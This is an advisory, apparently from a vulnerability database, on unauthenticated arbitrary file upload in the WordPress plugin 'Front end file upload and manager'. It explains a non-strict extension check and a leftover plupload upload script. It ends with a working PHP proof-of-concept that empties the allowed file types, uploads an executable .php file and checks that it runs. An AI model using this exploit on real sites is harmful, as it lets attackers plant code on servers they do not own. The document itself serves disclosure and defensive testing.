Front end file upload and manager Plugin [Unauthenticated Arbitrary File Upload]
Description
Update 2016-09-20: This was disclosed here. It seems like the author of the plugin haven’t responded yet regarding this vulnerability.
This vulnerability is related to WooCommerce Product Addons [Unauthenticated Arbitrary File Upload] (DWF-2016-87130). They both use the same so called NM_Framwork framework, they are from the same author and both have an insecure implementation of the file upload functionality.
Method 1
Like the DWF-2016-87130 the user can use a set of AJAX actions in order
to upload arbitrary files to the vulnerable server. Those actions are
defined in \NM_WP_FileManager::_setup()
method by \NM_Framwork_V1_filemanager::$ajax_callbacks
property:
$this->ajax_callbacks = array (
'save_settings', // do not change this action, is for admin
'save_file_meta',
'save_file_data',
'upload_file',
'delete_file',
'delete_file_new',
'delete_meta',
'save_edited_photo',
'load_shortcodes',
'get_form_meta',
'send_files_email',
'delete_all_posts',
'update_file_data',
'delete_all_directores_of_user',
'share_file',
'edit_file_meta',
);
The difference here is that this plugin let the user limit the uploaded
files to a certain extensions defined in plugin options. First the
plugin uses the WordPress function \wp_check_filetype()
to check a
if the uploaded file has an allowed extension. This function returns
an array which has the false
value in the ext
index.
$file_type = wp_check_filetype($_REQUEST ["name"], null );
Then it checks this result using the `` function.
if( !in_array($file_type['ext'], $allowed_types) ){
$response ['status'] = 'error';
$response ['message'] = __ ( 'File type not valid', 'nm-filemanager' );
die ( json_encode($response) );
}
But because this isn’t a strict comparison the condition will be false
if $file_type['ext']
is false
and $allowed_types
is empty. So all
an attacker has to do is first update the allowed file types to an empty
string and then use this action to upload any file he desires.
Method 2
Uploading files as an unauthenticated user is also possible if the
attacker calls the script wp-content/plugins/nmedia-user-file-uploader/js/plupload-2.1.2/examples/upload.php
.
This script is a leftover from the library plupload and it seems
that this is actively exploited in the wild. For this script to
work the PHP env var upload_tmp_dir
must be set and it has to point to
a location readable and writable by the user that executes the script.
In many systems this var is empty by default so the aforementioned script
will try to create a dir in system root folder so normally will fail.
In the case which this var is set and pointing to readable-writable dir then a request like the next one will upload a file in the vulnerable webserver.
This method seem to first be reported here more than a year before. They claim that author was contacted, yet the no fix is available.
PoC
#!/usr/bin/env php
<?php
/*******************************************************************************
* Front end file upload and manager Plugin [Unauthenticated Arbitrary File Upload]
*
* Author: Pan Vag <[email protected]>
* To install deps run `composer install`
******************************************************************************/
require_once 'vendor/autoload.php';
use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\Request;
$url = Config::get( 'url.base', null, true, 'Enter the site URL' );
if ( ! $url ) {
Cli::writeError( 'You must enter a valid URL' );
exit( ExitCodes::EXIT_CODE_FAILED_PRECONDITION );
}
Cli::writeInfo( 'Updating settings to set allowed file types to empty string...' );
$postData = [
'nm_filemanager_file_types' => '',
'action' => 'nm_filemanager_save_settings'
];
$r = Request::post( Endpoint::adminAjaxURL(), [], $postData );
if ( ! $r->success || strpos( $r->body, 'All options are updated' ) === false ) {
Cli::writeError( 'Failed to update settings. Testing file upload anyway' );
} else {
Cli::writeSuccess('Options updated, uploading exploit...');
}
$fileName = uniqid() . '.php';
$identifier = uniqid();
$postData = [
'action' => 'nm_filemanager_upload_file',
'name' => $fileName,
];
Cli::writeInfo( 'Sending payload...' );
$r = Request::upload( Endpoint::adminAjaxURL(),
$postData,
[
'file' => [
'fileContents' => "<?php echo '{$identifier}';unlink(__FILE__);",
'fileName' => $fileName,
'contentType' => 'image/png',
],
] );
$rJson = @json_decode( $r->body );
if ( ! isset( $rJson->file_name ) ) {
ExitCodes::exitWithFailed( 'Upload failed' );
}
Cli::writeInfo( 'Verifying exploit...' );
$uploadsPath = Endpoint::uploadsURL() . '/user_uploads/' . $rJson->file_name;
$r = Request::get( $uploadsPath );
if ( ! $r->success || $r->body != $identifier ) {
ExitCodes::exitWithFailed( 'Verification failed' );
}
ExitCodes::exitWithSuccess( 'Exploitation successful' );
- 6 September 2016
- Pan Vag
- wordpresspoets.com
- Front end file upload and manager Plugin
- WordPress 4.5.2
- DWF-2016-87132